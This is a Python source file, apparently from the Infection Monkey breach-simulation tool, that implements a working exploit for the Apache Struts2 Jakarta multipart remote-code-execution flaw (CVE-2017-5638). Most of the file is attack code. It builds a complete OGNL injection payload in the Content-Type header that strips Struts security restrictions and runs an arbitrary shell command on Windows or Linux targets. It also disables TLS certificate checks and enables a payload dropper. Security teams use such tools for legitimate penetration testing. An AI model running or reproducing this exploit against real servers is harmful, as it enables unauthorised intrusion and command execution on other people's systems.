monkey/monkey/infection_monkey/exploit/struts2.py

100 lines
3.7 KiB
Python

"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import http.client
import logging
import re
import ssl
import urllib.error
import urllib.parse
import urllib.request
from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
_EXPLOITED_SERVICE = "Struts2"
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)
def get_exploit_config(self):
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
exploit_config["dropper"] = True
return exploit_config
def build_potential_urls(self, ports, extensions=None):
"""
We need to override this method to get redirected url's
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
url_list = [self.get_redirected(url) for url in url_list]
return url_list
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {"User-Agent": "Mozilla/5.0"}
request = urllib.request.Request(url, headers=headers)
try:
return urllib.request.urlopen(
request, context=ssl._create_unverified_context() # noqa: DUO122
).geturl()
except urllib.error.URLError:
LOG.error("Can't reach struts2 server")
return False
def exploit(self, url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
payload = (
"%%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?"
"(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='%s')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}" % cmd
)
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload}
try:
request = urllib.request.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib.request.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except http.client.IncompleteRead as e:
page = e.partial.decode()
return page